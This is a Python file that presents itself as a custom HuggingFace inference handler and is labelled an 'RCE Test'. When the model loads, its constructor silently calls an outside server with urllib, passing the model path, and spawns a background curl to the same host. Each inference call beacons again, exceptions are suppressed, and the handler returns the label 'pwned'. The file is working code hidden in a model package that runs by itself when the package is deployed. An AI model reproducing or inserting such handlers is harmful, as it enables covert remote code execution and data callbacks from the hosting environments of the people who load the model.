File size: 945 Bytes
5961329 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | """Custom HuggingFace Inference Handler - RCE Test"""
import os
import subprocess
import urllib.request
class EndpointHandler:
def __init__(self, path=""):
# This executes at model load time
try:
urllib.request.urlopen(
"https://xitro-env-probe.hf.space/rce?src=handler_init&path=" + str(path)
)
except:
pass
# Also try subprocess
try:
subprocess.Popen(
["curl", "-s", "https://xitro-env-probe.hf.space/rce?src=handler_subprocess"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
except:
pass
def __call__(self, data):
try:
urllib.request.urlopen(
"https://xitro-env-probe.hf.space/rce?src=handler_call"
)
except:
pass
return [{"label": "pwned", "score": 1.0}]
|